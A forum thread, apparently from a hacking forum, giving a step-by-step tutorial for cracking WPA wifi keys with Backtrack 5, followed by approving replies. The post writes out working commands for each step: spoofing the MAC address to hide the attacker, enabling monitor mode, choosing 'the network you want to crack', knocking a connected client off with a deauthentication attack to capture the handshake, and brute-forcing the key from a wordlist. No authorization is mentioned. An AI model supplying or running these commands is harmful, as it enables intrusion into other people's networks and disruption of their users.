[Gt403cyl]

Hey guys, Tutorial time again!

This time I will be showing you how you can crack WPA Encrypted Wifi Passkeys using Backtrack 5r3.

You will need a few things to accomplish this,

I suggest doing this through a Virtual Machine, my personal preference.
Download VirtualBox: https://www.virtualbox.org/wiki/Downloads

You will obviously need Backtrack 5, choose the options best suited for your machine.
Download Backtrack 5: http://www.backtrack-linux.org/downloads/

Since Virtual Machines don't use the same wifi adaptors, you will need a USB wifi Adaptor.
Any will do.

Lastly you will need a wordlist already saved in your /root directory on Backtrack5 (I will use "wordlist.lst")

So lets begin.

If you haven't already, go ahead and get Backtrack 5 installed on your Virtual Machine.
I have posted a great tutorial on how to do this here: https://hackforums.net/showthread.php?tid=3730054

I'm going to start this tutorial from the interface home page.
Anything to be entered in terminal I will use [***], if something is (***) this means use the info from the network you trying to crack.
There is no need to add any brackets to any of these commands.

My adaptor is shown as "wlan0" so if your differs from this just replace "wlan0" with yours.

First:
Lets make sure our wifi adaptor is working by:
Click on Devices>USB Devices>check to see that your USB wifi device is there.
Connect if it already isn't.
Spoiler (Click to View)

Second:
Now to confirm your wifi is recognised, open a terminal window and type the following command:
[ifconfig]
Spoiler (Click to View)

Third:
We need to spoof our mac address, you can pretty much change it to what ever you want as long as it follows the same perameters.
So to do this we need to shut down our wifi adaptor in this case its known as "wlan0"
[ifconfig wlan0 down]

Next spoof the mac address, for this tutorial I'm going to use 00:11:22:33:44:55 as the fake mac address
[macchanger -m 00:11:22:33:44:55 wlan0]
Spoiler (Click to View)

Now we can bring our wifi back up with
[ifconfig wlan0 up]

Confirm our wifi is back up and running
[iwconfig wlan0]
Spoiler (Click to View)

Fourth:
Here we will enable the wifi monitor mode (green block)
[airmon-ng start wlan0]
Spoiler (Click to View)

Confirm monitor mode is enabled (blue block)
[iwconfig mon0]
Spoiler (Click to View)

Fifth:
Now lets view the wireless networks that are within range of our adaptor
[airodump-ng mon0]
Spoiler (Click to View)

Once you see the network you want to crack press {ctrl+c} to stop the search
***I suggest you highlight and copy the line of the network you want to crack and past it into a text editor for use later on.

Sixth:
Here we are going to see if and how many clients are connected to this network
Open a new terminal
[airodump-ng --bssid (bssdofwifi) -c (channel) -w hackwpa mon0]
Spoiler (Click to View)
Spoiler (Click to View)

Now we will de-authenticate a user on this wifi network to aquire a handshake
Open a new terminal
[aireplay-ng -0 1 -a (bssidofwifi) -c (stationmac) mon0]
Spoiler (Click to View)

Check previous terminal for a handshake (top right)
Spoiler (Click to View)

Seventh:
Here is where we Bruteforce the network
Open new terminal
[aircrack-ng -w wordlist.lst -b (bssidofwifi) hackwpa*.cap]
Spoiler (Click to View)

Depending on how long your wordlist is, this could take some time.
If this was done correctly and your wordlist was sufficient, you should now have your wifi key found!
Spoiler (Click to View)

Thanks for checking out this tutorial, I will keep making tutorials as I get time and new ideas so please check back frequently!

[Comedic]

Nice thread mate, great job explaining everything!
:)

[Gt403cyl]

Thanks, I hope it helps someone or at least answers some questions.

[Vaxorr]

are you sure that it works in virtual box as i heard that u should boot it in a live CD to work properly ?
Bur any way thanks for you contribution and keep it up
My Best Regards,
Null

[kivik]

This beautiful and very very detailed tutorial

[Gt403cyl]

are you sure that it works in virtual box as i heard that u should boot it in a live CD to work properly ?
Bur any way thanks for you contribution and keep it up
My Best Regards,
Null

I did that tutorial in VirtualBox with Backtrack 5 r3, so yes I'm sure it works the proof is in the pictures.
I have seen some variations on this method especially like using reaver and slightly different deauthentication commands but this as written works.

[herrdeutschland]

noob friendly and backtrack 5 don t get a long these two words heheh thanks for the tutorial it was informative

[TheDarkComet]

Great Tutorial mate, very nice actually.
This will help me out.

[Gt403cyl]

For those looking for something similar for Kali-linux, this method does work the same.

I do realize the Reaver method doesn't require a password list, but in my experience access points that use a TKIP cipher don't work out with Reaver.

Leaving this as a solid backup method.

I will do a full tutorial on Reaver shortly.

[DaBosS92]

thanks a lot guys realy helpfull and ussefull post thanks again keep going

[blackknight_]

Very nice tut will come in handy some day

[makxzx]

GREAT INFO!!! IM GOING TO TRY THIS FOR SURE!!!

[0.0.0.1]

Very nice explanation step by step
Definitely it'll will help to beginners .
Thank you .

[Harjeet Baidwan]

NICE AND SIMPLY EXPLAINED TUTORIAL..
GREAT WORK....👍👍👍

[FREAX1906]

sorry for my newbie question,, if virtual box and usb wifi are not in my choice rather thn using backtrack in my system directly what would be d result... tnx to ur post it help me undrstnd some fct..